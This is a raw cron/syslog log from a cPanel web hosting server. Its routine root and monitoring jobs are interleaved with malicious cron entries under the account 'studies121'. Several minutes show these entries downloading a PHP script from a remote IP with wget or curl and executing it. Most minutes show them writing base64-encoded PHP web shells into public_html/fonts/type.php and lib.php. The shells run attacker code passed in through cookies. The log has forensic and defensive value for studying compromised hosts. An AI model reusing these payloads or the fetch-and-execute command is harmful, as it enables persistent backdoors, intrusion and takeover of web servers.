Sep 21 14:20:01 ip-184-168-122-23 CROND[21685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:21:01 ip-184-168-122-23 CROND[21863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:21:01 ip-184-168-122-23 CROND[21866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:21:01 ip-184-168-122-23 CROND[21867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:21:01 ip-184-168-122-23 CROND[21865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:22:01 ip-184-168-122-23 CROND[21988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:22:01 ip-184-168-122-23 CROND[21989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:22:01 ip-184-168-122-23 CROND[21991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:22:01 ip-184-168-122-23 CROND[21994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:22:01 ip-184-168-122-23 CROND[21995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:23:01 ip-184-168-122-23 CROND[22117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:23:01 ip-184-168-122-23 CROND[22119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:23:01 ip-184-168-122-23 CROND[22120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:23:01 ip-184-168-122-23 CROND[22121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:24:01 ip-184-168-122-23 CROND[22324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:24:01 ip-184-168-122-23 CROND[22325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:24:01 ip-184-168-122-23 CROND[22327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:24:01 ip-184-168-122-23 CROND[22328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:24:01 ip-184-168-122-23 CROND[22326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:25:02 ip-184-168-122-23 CROND[22734]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 14:25:02 ip-184-168-122-23 CROND[22731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:25:02 ip-184-168-122-23 CROND[22738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:25:02 ip-184-168-122-23 CROND[22741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:25:02 ip-184-168-122-23 CROND[22743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:25:02 ip-184-168-122-23 CROND[22747]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:25:02 ip-184-168-122-23 CROND[22746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:26:01 ip-184-168-122-23 CROND[22881]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 21 14:26:01 ip-184-168-122-23 CROND[22882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:26:01 ip-184-168-122-23 CROND[22885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:26:01 ip-184-168-122-23 CROND[22883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:26:01 ip-184-168-122-23 CROND[22884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:26:01 ip-184-168-122-23 CROND[22886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 21 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 21 14:27:01 ip-184-168-122-23 CROND[23107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:27:01 ip-184-168-122-23 CROND[23109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:27:01 ip-184-168-122-23 CROND[23110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:27:01 ip-184-168-122-23 CROND[23111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:28:02 ip-184-168-122-23 CROND[23210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:28:02 ip-184-168-122-23 CROND[23211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:28:02 ip-184-168-122-23 CROND[23213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:28:02 ip-184-168-122-23 CROND[23212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:28:02 ip-184-168-122-23 CROND[23214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:29:01 ip-184-168-122-23 CROND[23339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:29:01 ip-184-168-122-23 CROND[23340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:29:01 ip-184-168-122-23 CROND[23341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:29:01 ip-184-168-122-23 CROND[23342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:30:01 ip-184-168-122-23 CROND[23545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:30:01 ip-184-168-122-23 CROND[23547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:30:01 ip-184-168-122-23 CROND[23549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:30:01 ip-184-168-122-23 CROND[23550]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 14:30:01 ip-184-168-122-23 CROND[23551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:30:01 ip-184-168-122-23 CROND[23552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:30:01 ip-184-168-122-23 CROND[23554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:30:01 ip-184-168-122-23 CROND[23553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:31:01 ip-184-168-122-23 CROND[23678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:31:01 ip-184-168-122-23 CROND[23680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:31:01 ip-184-168-122-23 CROND[23683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:31:01 ip-184-168-122-23 CROND[23682]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 14:31:01 ip-184-168-122-23 CROND[23681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:32:01 ip-184-168-122-23 CROND[23833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:32:01 ip-184-168-122-23 CROND[23834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:32:01 ip-184-168-122-23 CROND[23836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:32:01 ip-184-168-122-23 CROND[23837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:32:01 ip-184-168-122-23 CROND[23839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
